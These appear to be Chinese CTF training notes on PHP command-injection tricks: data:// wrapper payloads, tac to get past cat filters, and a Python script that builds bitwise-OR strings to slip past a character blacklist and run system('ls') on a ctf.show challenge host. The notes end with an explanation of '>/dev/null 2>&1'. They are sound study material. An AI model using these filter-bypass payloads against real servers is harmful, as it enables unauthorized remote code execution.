[靶场笔记]第四章
data伪协议 和php://input一样,用来执行代码,不一样的地方是,data可以直接用GET传值 格式是 明文: data://text/plain,<?php ... ?> base64编码: data://text/plain;base64,... cat的兄弟tac tac是反向输出,可以用来逃避cat过滤 或运算绕过 & 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,来看一下下面这段正则匹配 [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\- 怎么绕过上面这样的匹配呢?可以发现上面这段匹配里没有|,因此可以使用或运算绕过 大概思路就是将除上述匹配外的Ascii字符筛选出来,然后再进行或运算,计算出结果和想要的命令匹配即可 下面是脚本 import re import requests url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text) >/dev/null 2>&1 这句代码得拆开看 先来看看这句>/dev/null。这句的意思就是将前面输出的内容重定向到一个叫/dev/null的目录下,/dev目录一般是设备挂载目录,而null就是空设备的意思,因此就是让输出结果不要输出到任何设备上,包括你的屏幕,而是消失在茫茫太空中 接着是2>&1,首先要知道2在linux标准输出中表示的是错误报错,1是正常输出,所以这句意思是将错误报错也重定向到1输出的地方,而因为1输出已经被丢到太空里,所以2也会跟着他一起流浪 ...